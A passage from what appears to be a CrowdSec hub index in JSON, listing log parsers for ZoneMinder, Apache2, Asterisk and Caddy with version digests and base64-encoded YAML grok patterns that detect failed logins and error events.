"IyBEZXNjcmlwdGlvbgpBIHBhcnNlciB0aGF0IHNlYXJjaGVzIGZvciB1bmtub3duIHVzZXIgYW5kIGluY29ycmVjdCBwYXNzd29yZCBsb2dpbnMgdG8gWm9uZU1pbmRlciBieSB1c2luZyBgd2ViX3BocC5sb2dgIGFzIGEgZGF0YSBzb3VyY2UuCk5vdyBzdXBwb3J0cyBuZXcgUEhQIGRhdGUgZm9ybWF0OyBERUZBVUxUIFVTL0NBTiBmb3JtYXQuCgojIEhPVyBUTyBJTlNUQUxMIFBST1BFUkxZCi0gUkVRVUlSRUQgLSBleGFtcGxlIGBhY3F1aXMueWFtbGAgZW50cnkgLSB0aGUgYHR5cGVgIG11c3QgYmUgZXhhY3RseSBhcyBzaG93biBoZXJlIG9yIHRoZSBwYXJzZXIgd2lsbCBuZXZlciBiZSBzdWNjZXNzZnVsLgoqKipUaGUgbG9nIHBhdGggaXMgdGhlIGRlZmF1bHQgcGF0aCBvbiBhIGRlYmlhbiBiYXNlZCBkaXN0cm8sIGNoYW5nZSB0byBwb2ludCB0b3dhcmRzIHdoZXJlIHlvdXIgWm9uZU1pbmRlciBgd2ViX3BocC5sb2dgIGlzKioqCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvem0vd2ViX3BocC5sb2cKbGFiZWxzOgogIHR5cGU6IHpvbmVtaW5kZXIKYGBgCjpleGNsYW1hdGlvbjogVGhlIGB0eXBlYCAqKk1VU1QqKiBiZSBgem9uZW1pbmRlcmAgOmV4Y2xhbWF0aW9uOgoKIyBTdGF0aWNzCi0gSVAgaXMgbG9nZ2VkIGFzIGBldnQuUGFyc2VkLnNvdXJjZV9pcGAgYW5kIGBldnQuTWV0YS5zb3VyY2VfaXBgCi0gVXNlcm5hbWUgaXMgbG9nZ2VkIGFzIGBldnQuUGFyc2VkLnVzZXJuYW1lYCBhbmQgYGV2dC5NZXRhLnVzZXJuYW1lYAo=", "content": "I2ZpbHRlcjogJzE9PTEnICAgICAjIFRlc3RpbmcKZmlsdGVyOiBldnQuUGFyc2VkLnByb2dyYW0gPT0gInpvbmVtaW5kZXIiICAgIyBQcm9kdWN0aW9uCiNkZWJ1ZzogdHJ1ZQpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKbmFtZTogYmF1ZG5lby96b25lbWluZGVyLWxvZ3MKZGVzY3JpcHRpb246IEEgcGFyc2VyIGZvciB6b25lbWluZGVyIHdlYl9waHAubG9nIChMb2dpbnMgdG8gREIvV2ViKSwgbm93IHN1cHBvcnRzIGRlZmF1bHQgUEhQIGludGwgZGF0ZSBmb3JtYXQKcGF0dGVybl9zeW50YXg6CiAgWk1fVElNRTogJzJbMDEyM118WzAxXT9bMC05XTpbMC01XVswLTldOig/OlswLTVdP1swLTldfDYwKVxzPyhBTXxQTSBbQS1aXXszfSk/XC5bMC05XXs2fScKICBaTV9CQURVU0VSOiAnXiV7TU9OVEhOVU06bW9udGh9Wy8tXSV7TU9OVEhEQVk6ZGF5fVsvLV0le1lFQVI6eWVhcn0sP1stIF0le1pNX1RJTUU6dGltZX0gd2ViX3BocFxbXGQrXVwuW0EtWl17M30gXFsoJXtJUDpzb3VyY2VfaXB9KVxdXHNcW0NvdWxkIG5vdCByZXRyaWV2ZSB1c2VyICV7REFUQTp1c2VybmFtZX0gZGV0YWlsc1xdJwogIFpNX0JBRFBBU1NXT1JEOiAnXiV7TU9OVEhOVU06bW9udGh9Wy8tXSV7TU9OVEhEQVk6ZGF5fVsvLV0le1lFQVI6eWVhcn0sP1stIF0le1pNX1RJTUU6dGltZX0gd2ViX3BocFxbXGQrXVwuW0EtWl17M30gXFsoJXtJUDpzb3VyY2VfaXB9KVxdXHNcW0xvZ2luIGRlbmllZCBmb3IgdXNlciBcIiV7REFUQTp1c2VybmFtZX1cIlxdJwojI05FVyBCQUQgVVNFUiMgMTIvMTcvMjIsIDEwOjMxOjI5IFBNIE1TVC41NTc3MTAgd2ViX3BocFsyNTQ4OTRdLkVSUiBbMTAuMC4xLjVdIFtDb3VsZCBub3QgcmV0cmlldmUgdXNlciBhYWFhIGRldGFpbHNdIGF0IC91c3Ivc2hhcmUvem9uZW1pbmRlci93d3cvaW5jbHVkZXMvYXV0aC5waHAgbGluZSAzOTUKIyNORVcgQkFEIFBBU1MjIDAxLzA2LzIyLCAxMDozMToyOSBQTSBNU1QuNTU3NzEwIHdlYl9waHBbNjg4XS5FUlIgWzk5LjEuMS4xXSBbTG9naW4gZGVuaWVkIGZvciB1c2VyICJ2YWxpZHVzZXIiXSBhdCAvdXNyL3NoYXJlL3pvbmVtaW5kZXIvd3d3L2luY2x1ZGVzL2F1dGgucGhwIGxpbmUgMzEzCiMjT0xEIEJBRCBVU0VSIyAwMS8wNi8yMiAwOToyNjoxNS4xMTc0MzQgd2ViX3BocFsyNThdLkVSUiBbOTkuMS4xLjFdIFtDb3VsZCBub3QgcmV0cmlldmUgdXNlciB0ZXN0dXNlciBkZXRhaWxzXSBhdCAvdXNyL3NoYXJlL3pvbmVtaW5kZXIvd3d3L2luY2x1ZGVzL2F1dGgucGhwIGxpbmUgMzEzCiMjT0xEIEJBRCBQQVNTIyAwMS8wNi8yMiAwOToyNzozOS44NDMzMzggd2ViX3BocFs2ODhdLkVSUiBbOTkuMS4xLjFdIFtMb2dpbiBkZW5pZWQgZm9yIHVzZXIgInZhbGlkdXNlciJdIGF0IC91c3Ivc2hhcmUvem9uZW1pbmRlci93d3cvaW5jbHVkZXMvYXV0aC5waHAgbGluZSAzMTMKCm5vZGVzOgogIC0gZ3JvazoKICAgICAgbmFtZTogIlpNX0JBRFBBU1NXT1JEIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiB6bV9mYWlsZWRfYXV0aAogICAgICAgIC0gbWV0YTogbG9nX3N1YnR5cGUKICAgICAgICAgIHZhbHVlOiB6bV9iYWRfcGFzc3dvcmQKICAgICAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnVzZXJuYW1lCiAgLSBncm9rOgogICAgICBuYW1lOiAiWk1fQkFEVVNFUiIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogem1fZmFpbGVkX2F1dGgKICAgICAgICAtIG1ldGE6IGxvZ19zdWJ0eXBlCiAgICAgICAgICB2YWx1ZTogem1fYmFkX3VzZXIKICAgICAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnVzZXJuYW1lCgpzdGF0aWNzOgogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNvdXJjZV9pcAogIC0gdGFyZ2V0OiBTdHJUaW1lCiAgICBleHByZXNzaW9uOiB8LQogICAgICAiMjAiICsgZXZ0LlBhcnNlZC55ZWFyICsgIi8iICsgZXZ0LlBhcnNlZC5tb250aCArICIvIiArIGV2dC5QYXJzZWQuZGF5ICsgIiAiICsgZXZ0LlBhcnNlZC50aW1lCg==", "description": "A parser for zoneminder web_php.log (Logins to DB/Web), now supports default PHP intl date format", "author": "baudneo", "labels": null }, "crowdsecurity/apache2-logs": { "path": "parsers/s01-parse/crowdsecurity/apache2-logs.yaml", "stage": "s01-parse", "version": "1.3", "versions": { "0.1": { "digest": "405a1eacb736240024a1302fb7a95184bd1dbb4205c9746877b01aa74aff602f", "deprecated": false }, "0.2": { "digest": "911be04b02a2aef5052020087b0941c9a646a0ad6213cb34d541d35c5c10fba1", "deprecated": false }, "0.3": { "digest": "2acd7b53dd7ac9765246dbcc539395ad89942a5b48f3cab6b1489cb6c9fe1360", "deprecated": false }, "0.4": { "digest": "63c47a8b0740d05e15a84640c44cdbc7b96907deae4650dcdb61329d37bcf9e8", "deprecated": false }, "0.5": { "digest": "cb41418db5e5dcf3f1e0fba7731f2eab8eff07f1083a92f5e45e13a4d8f6ff95", "deprecated": false }, "0.6": { "digest": "305729e749b6c7c7c7370d0b2fd247c5de13c3d3b45809745049eeb45d7f46b9", "deprecated": false }, "0.7": { "digest": "8244953978839afc950bea90934cf20834d4f243b79163a44c8ff67b9eb9e459", "deprecated": false }, "0.8": { "digest": "b37a7940a2b6c0b7b909679c1e837ec9e6628f24e9a88f8830600e0df9ba5941", "deprecated": false }, "0.9": { "digest": "f4fa2cfb6ff5742b499f575630acf884e1dbdd6af7196e2fd3a2aeeeec9bceb9", "deprecated": false }, "1.0": { "digest": "bc4cce2766afde63489bfe7d8d1f8aec82f9c897da5e824904156c53cdc555f6", "deprecated": false }, "1.1": { "digest": "311e3761538c96f641478da49af219df8084205e191c39f3794fba4a4780ed76", "deprecated": false }, "1.2": { "digest": "a2e968ebf9d568de24f2c407504c85edb08e2e31e9422b913de763ab855dc6d4", "deprecated": false }, "1.3": { "digest": "c8fac234d41df2edd112265f75a5178718eeabe58135bd1e307bf92892ff3639", "deprecated": false } }, "long_description": "VGhpcyBhcGFjaGUyIHBhcnNlciBzdXBwb3J0IGFjY2VzcyBhbmQgZXJyb3IgbG9ncyBpbiB0aGUgSFRUUEQgQ09NQklORUQgTE9HIHN0YW5kYXJkIGZvcm1hdCwgd2l0aCB0aGUgZm9sbG93aW5nIHBvc3NpYmxlIG1vZGlmaWNhdGlvbnMgOgogLSBBbiBvcHRpb25hbCBJUCBvciBGUUROIGNhbiBiZSBwcmVzZW50IGFzIHRoZSBmaXJzdCBlbGVtZW50IG9mIGxpbmUsIGFuZCB3aWxsIGJlIHN0b3JlZCBpbiBgdGFyZ2V0X2ZxZG5gLiBUaGlzIGlzIG1lYW50IGZvciBtdWx0aS10ZW5hbnQgLyBhZ2dyZWdhdGVkIGxvZ3MuCiAtIGByZWZlcnJlcmAgYW5kIGB1c2VyX2FnZW50YCBoYXZlIGJlZW4gbWFkZSBvcHRpb25hbCBmb3IgbW9yZSBlcHVyYXRlZCBsb2dnaW5nIGZvcm1hdHMKCgoqbm90ZSA6KiBJZiB5b3UgYXJlIGFnZ3JlZ2F0aW5nIGxvZ3MgZnJvbSBzZXZlcmFsIGRvbWFpbnMsIHByZWZpeCB5b3VyIGxvZ2xpbmUgd2l0aCB0aGUgdGFyZ2V0IEZRRE4uIEhUVFAgYmFzZWQgc2NlbmFyaW9zIHNob3VsZCB0YWtlIHRoaXMgaW50byBhY2NvdW50IHNvIHRoYXQgYnVja2V0cyBhcmUgX3Blcl8gc291cmNlIElQIHBlciB0YXJnZXQgRlFETiwgbGltaXRpbmcgZmFsc2UgcG9zaXRpdmVzIGR1ZSB0byBsb2dzIG11bHRpcGxleGluZy4K", "content": "I0FwYWNoZSBhY2Nlc3MvZXJyb3JzIGxvZ3MKI2RlYnVnOiB0cnVlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSBzdGFydHNXaXRoICdhcGFjaGUyJyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvYXBhY2hlMi1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgQXBhY2hlMiBhY2Nlc3MgYW5kIGVycm9yIGxvZ3MiCiNsb2cgbGluZSBjYW4gYmUgcHJlZml4ZWQgYnkgYSB0YXJnZXRfZnFkbgpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICcoJXtJUE9SSE9TVDp0YXJnZXRfZnFkbn0oOiV7SU5UOnBvcnR9KT8gKT8le0NPTU1PTkFQQUNIRUxPR30oICIle05PVERRVU9URTpyZWZlcnJlcn0iICIle05PVERRVU9URTpodHRwX3VzZXJfYWdlbnR9Iik/JwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICAjIHRoZXNlIG9uZXMgYXBwbHkgZm9yIGJvdGggZ3JvayBwYXR0ZXJucwogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBodHRwX2FjY2Vzcy1sb2cKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1wCiAgICAgICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgICAgICB2YWx1ZTogaHR0cAogICAgICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmNsaWVudGlwCiAgICAgICAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5yZXNwb25zZQogICAgICAgIC0gbWV0YTogaHR0cF9wYXRoCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnJlcXVlc3QKICAgICAgICAtIG1ldGE6IGh0dHBfdmVyYgogICAgICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudmVyYiIKICAgICAgICAtIG1ldGE6IGh0dHBfdXNlcl9hZ2VudAogICAgICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuaHR0cF91c2VyX2FnZW50IgogICAgICAgIC0gbWV0YTogdGFyZ2V0X2ZxZG4KICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnRhcmdldF9mcWRuIgogICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtIVFRQRF9FUlJPUkxPR30nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICBvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKICAgIHBhdHRlcm5fc3ludGF4OgogICAgICBOT1RfRE9VQkxFX1BPSU5UOiAnW146XSsnCiAgICAgIE5PVF9ET1VCTEVfUVVPVEU6ICdbXiJdKycgICAgCiAgICBub2RlczoKICAgICAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLm1vZHVsZSA9PSAnYXV0aF9iYXNpYyciCiAgICAgICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCiAgICAgICAgcGF0dGVybl9zeW50YXg6CiAgICAgICAgICBFWFRSQUNUX1VTRVJfQU5EX1BBVEg6ICd1c2VyICV7Tk9UX0RPVUJMRV9QT0lOVDp1c2VybmFtZX06IGF1dGhlbnRpY2F0aW9uIGZhaWx1cmUgZm9yICIle05PVF9ET1VCTEVfUVVPVEU6dGFyZ2V0X3VyaX0iOiBQYXNzd29yZCBNaXNtYXRjaCcKICAgICAgICAgIEVYVFJBQ1RfVVNFUl9BTkRfUEFUSDI6ICd1c2VyICV7Tk9UX0RPVUJMRV9QT0lOVDp1c2VybmFtZX0gbm90IGZvdW5kOiAiPyV7Tk9UX0RPVUJMRV9RVU9URTp0YXJnZXRfdXJpfSI/JwogICAgICAgIGdyb2s6CiAgICAgICAgICBwYXR0ZXJuOiAnJXtFWFRSQUNUX1VTRVJfQU5EX1BBVEh9fCV7RVhUUkFDVF9VU0VSX0FORF9QQVRIMn0nCiAgICAgICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICAgICAgIyB0aGVzZSBvbmVzIGFwcGx5IGZvciBib3RoIGdyb2sgcGF0dGVybnMKICAgICAgICBzdGF0aWNzOgogICAgICAgICAgLSBtZXRhOiB1c2VybmFtZQogICAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnVzZXJuYW1lCiAgICAgICAgICAtIG1ldGE6IGh0dHBfcGF0aAogICAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRhcmdldF91cmkKICAgICAgICAgIC0gbWV0YTogc3ViX3R5cGUKICAgICAgICAgICAgdmFsdWU6ICJhdXRoX2ZhaWwiCiAgICAgIC0gZmlsdGVyOiAiZXZ0LlBhcnNlZC5tb2R1bGUgPT0gJ2NvcmUnICYmIGV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAnSW52YWxpZCBVUkknIgogICAgICAgIG9uc3VjY2VzczogbmV4dF9zdGFnZQogICAgICAgIHBhdHRlcm5fc3ludGF4OgogICAgICAgICAgRVhUUkFDVF9VUklWRVJCOiAnSW52YWxpZCBVUkkgaW4gcmVxdWVzdCAle1dPUkQ6dmVyYn0gJXtOT1RTUEFDRTpyZXF1ZXN0fSg/OiBIVFRQLyV7TlVNQkVSOmh0dHB2ZXJzaW9ufSknCiAgICAgICAgZ3JvazoKICAgICAgICAgIHBhdHRlcm46ICcle0VYVFJBQ1RfVVJJVkVSQn0nCiAgICAgICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICAgIHN0YXRpY3M6CiAgICAgICAgICAtIG1ldGE6IGh0dHBfcGF0aAogICAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnJlcXVlc3QKICAgICAgICAgIC0gbWV0YTogc3ViX3R5cGUKICAgICAgICAgICAgdmFsdWU6ICJpbnZhbGlkX3VyaSIKICAgICAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLm1vZHVsZSA9PSAnYXV0aHpfY29yZScgJiYgZXZ0LlBhcnNlZC5tZXNzYWdlIGNvbnRhaW5zICdjbGllbnQgZGVuaWVkJyIKICAgICAgICBvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKICAgICAgICBwYXR0ZXJuX3N5bnRheDoKICAgICAgICAgIEVYVFJBQ1RfUEFUSDogJ2NsaWVudCBkZW5pZWQgYnkgc2VydmVyIGNvbmZpZ3VyYXRpb246ICV7R1JFRURZREFUQTp0YXJnZXRfdXJpfScKICAgICAgICBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7RVhUUkFDVF9QQVRIfScKICAgICAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgICAgc3RhdGljczoKICAgICAgICAgIC0gbWV0YTogaHR0cF9wYXRoCiAgICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGFyZ2V0X3VyaQogICAgICAgICAgLSBtZXRhOiBzdWJfdHlwZQogICAgICAgICAgICB2YWx1ZTogInBlcm1pc3Npb25fZGVuaWVkIgogICAgc3RhdGljczoKICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgIHZhbHVlOiBodHRwX2Vycm9yLWxvZwogICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcAogICAgICAtIG1ldGE6IHNlcnZpY2UKICAgICAgICB2YWx1ZTogaHR0cAogICAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuY2xpZW50CiAgICAgIC0gbWV0YTogaHR0cF9zdGF0dXMKICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnJlc3BvbnNlCgogICAgICAK", "description": "Parse Apache2 access and error logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/asterisk-logs": { "path": "parsers/s01-parse/crowdsecurity/asterisk-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "6c32f0c5c37b86d83b35c9c90aee2550b8c2d59748a31bd2ba95842be35bf031", "deprecated": false }, "0.2": { "digest": "29155ff1a969acdbd1be800f350168d0b2bf2c2adcfd9350d284667d857e9fe3", "deprecated": false }, "0.3": { "digest": "f8a4fb06d81b9b1344ae9ba158c34b069f234597dc2fa140ae2f139cc8da148d", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBhc3RlcmlzayBsb2dzIChwYXJzZSBvbmx5IGZhaWxlZCBhdXRoZW50aWNhdGlvbiBsb2dzIGZvciB0aGUgbW9tZW50KS4=", "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9hc3Rlcmlzay1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgQXN0ZXJpc2sgbG9ncyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdhc3RlcmlzayciCm9uc3VjY2VzczogbmV4dF9zdGFnZQpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdcWyV7REFUQTp0aW1lc3RhbXB9XF0gU0VDVVJJVFlcWyV7TlVNQkVSfVxdLiogU2VjdXJpdHlFdmVudD0iSW52YWxpZEFjY291bnRJRCIsRXZlbnRUVj0iJXtEQVRBOmV2ZW50X3RpbWVzdGFtcH0iLFNldmVyaXR5PSJFcnJvciIsU2VydmljZT0iJXtOT1REUVVPVEU6YXN0ZXJpc2tfc2VydmljZX0iLEV2ZW50VmVyc2lvbj0iJXtOVU1CRVJ9IixBY2NvdW50SUQ9IiV7Tk9URFFVT1RFOnVzZXJuYW1lfSIsU2Vzc2lvbklEPSIle05PVERRVU9URTphc3Rlcmlza19zZXNzaW9uX2lkfSIsTG9jYWxBZGRyZXNzPSJJUFYle05VTUJFUn0vKFVEUHxUQ1ApLyV7SVBPUkhPU1Q6dGFyZ2V0X2lwfS8le05VTUJFUjp0YXJnZXRfcG9ydH0iLFJlbW90ZUFkZHJlc3M9IklQViV7TlVNQkVSfS8oVURQfFRDUCkvJXtJUE9SSE9TVDpzb3VyY2VfaXB9LyV7TlVNQkVSOnNvdXJjZV9wb3J0fSInCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGFzdGVyaXNrX2ZhaWxlZF9hdXRoCiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcAogICAgICAgIC0gbWV0YTogdGFyZ2V0X3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcm5hbWUKICAgICAgICAtIG1ldGE6IHNlc3Npb25faWQKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuYXN0ZXJpc2tfc2Vzc2lvbl9pZAogICAgICAgIC0gbWV0YTogYXN0ZXJpc2tfc2VydmljZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5hc3Rlcmlza19zZXJ2aWNlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXFsle0RBVEE6dGltZXN0YW1wfVxdIFNFQ1VSSVRZXFsle05VTUJFUn1cXS4qIFNlY3VyaXR5RXZlbnQ9IkNoYWxsZW5nZVJlc3BvbnNlRmFpbGVkIixFdmVudFRWPSIle0RBVEE6ZXZlbnRfdGltZXN0YW1wfSIsU2V2ZXJpdHk9IkVycm9yIixTZXJ2aWNlPSIle05PVERRVU9URTphc3Rlcmlza19zZXJ2aWNlfSIsRXZlbnRWZXJzaW9uPSIle05VTUJFUn0iLEFjY291bnRJRD0iJXtOT1REUVVPVEU6dXNlcm5hbWV9IixTZXNzaW9uSUQ9IiV7Tk9URFFVT1RFOmFzdGVyaXNrX3Nlc3Npb25faWR9IixMb2NhbEFkZHJlc3M9IklQViV7TlVNQkVSfS8oVURQfFRDUCkvJXtJUE9SSE9TVDp0YXJnZXRfaXB9LyV7TlVNQkVSOnRhcmdldF9wb3J0fSIsUmVtb3RlQWRkcmVzcz0iSVBWJXtOVU1CRVJ9LyhVRFB8VENQKS8le0lQT1JIT1NUOnNvdXJjZV9pcH0vJXtOVU1CRVI6c291cmNlX3BvcnR9IicKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogYXN0ZXJpc2tfZmFpbGVkX2F1dGgKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1wCiAgICAgICAgLSBtZXRhOiB0YXJnZXRfdXNlcgogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC51c2VybmFtZQogICAgICAgIC0gbWV0YTogc2Vzc2lvbl9pZAogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5hc3Rlcmlza19zZXNzaW9uX2lkCiAgICAgICAgLSBtZXRhOiBhc3Rlcmlza19zZXJ2aWNlCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmFzdGVyaXNrX3NlcnZpY2UKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdcWyV7REFUQTp0aW1lc3RhbXB9XF0gU0VDVVJJVFlcWyV7TlVNQkVSfVxdLiogU2VjdXJpdHlFdmVudD0iSW52YWxpZFBhc3N3b3JkIixFdmVudFRWPSIle0RBVEE6ZXZlbnRfdGltZXN0YW1wfSIsU2V2ZXJpdHk9IkVycm9yIixTZXJ2aWNlPSIle05PVERRVU9URTphc3Rlcmlza19zZXJ2aWNlfSIsRXZlbnRWZXJzaW9uPSIle05VTUJFUn0iLEFjY291bnRJRD0iJXtOT1REUVVPVEU6dXNlcm5hbWV9IixTZXNzaW9uSUQ9IiV7Tk9URFFVT1RFOmFzdGVyaXNrX3Nlc3Npb25faWR9IixMb2NhbEFkZHJlc3M9IklQViV7TlVNQkVSfS8oVURQfFRDUCkvJXtJUE9SSE9TVDp0YXJnZXRfaXB9LyV7TlVNQkVSOnRhcmdldF9wb3J0fSIsUmVtb3RlQWRkcmVzcz0iSVBWJXtOVU1CRVJ9LyhVRFB8VENQKS8le0lQT1JIT1NUOnNvdXJjZV9pcH0vJXtOVU1CRVI6c291cmNlX3BvcnR9IicKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogYXN0ZXJpc2tfZmFpbGVkX2F1dGgKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1wCiAgICAgICAgLSBtZXRhOiB0YXJnZXRfdXNlcgogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC51c2VybmFtZQogICAgICAgIC0gbWV0YTogc2Vzc2lvbl9pZAogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5hc3Rlcmlza19zZXNzaW9uX2lkCiAgICAgICAgLSBtZXRhOiBhc3Rlcmlza19zZXJ2aWNlCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmFzdGVyaXNrX3NlcnZpY2UKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogYXN0ZXJpc2sKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc291cmNlX2lwCg==", "description": "Parse Asterisk logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/caddy-logs": { "path": "parsers/s01-parse/crowdsecurity/caddy-logs.yaml", "stage": "s01-parse", "version": "0.4", "versions": { "0.1": { "digest": "30bf81915d8254ab7611c156ddbe0cf389838d471f973403ae1b07fffa5b6d5a", "deprecated": false }, "0.2": { "digest": "482a3d592e742b54f80c4473259ff8e0d5c46a657f086814d6a13e985a550376", "deprecated": false }, "0.3": { "digest": "22abc6def6fb9c36fcc6bb021002fe0b471116eab16e86c56625cfeef668eb7d", "deprecated": false }, "0.4": { "digest": "5f70ca245d84d2b72b5d30517ef85de6bc241b3537c4ac0fcf86a176c2539a75", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBjYWRkeSBsb2dzLgpJdCBleHBlY3RzIHRoZSBkZWZhdWx0IGtleSB2YWx1ZXMgZm9yIGNhZGR5IGxvZ3MuCgpZb3UgbmVlZCB0byBzcGVjaWZ5IGNhZGR5IGNvbmZpZyB0byBlbmFibGUgbG9nZ2luZyBpbiBhIGZpbGU6CgpgYGBiYXNoCjo4MCB7CiAgICAgICAgIyBTZXQgdGhpcyBwYXRoIHRvIHlvdXIgc2l0ZSdzIGRpcmVjdG9yeS4KICAgICAgICByb290ICogL3Vzci9zaGFyZS9jYWRkeQoKICAgICAgICAjIEVuYWJsZSB0aGUgc3RhdGljIGZpbGUgc2VydmVyLgogICAgICAgIGZpbGVfc2VydmVyCgogICAgICAgICMgQW5vdGhlciBjb21tb24gdGFzayBpcyB0byBzZXQgdXAgYSByZXZlcnNlIHByb3h5OgogICAgICAgICMgcmV2ZXJzZV9wcm94eSBsb2NhbGhvc3Q6ODA4MAoKICAgICAgICAjIE9yIHNlcnZlIGEgUEhQIHNpdGUgdGhyb3VnaCBwaHAtZnBtOgogICAgICAgICMgcGhwX2Zhc3RjZ2kgbG9jYWxob3N0OjkwMDAKICAgICAgICBsb2cgewogICAgICAgICAgICAgICAgb3V0cHV0IGZpbGUgL3Zhci9sb2cvY2FkZHkvYWNjZXNzLmxvZwogICAgICAgIH0KfQoKYGBgCgpBbmQgdGhlbiBhZGQgaW4gYWNxdWlzaXRpb24gdGhpcyA6CgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL2NhZGR5L2FjY2Vzcy5sb2cKbGFiZWxzOgogIHR5cGU6IGNhZGR5CmBgYA==", "content": 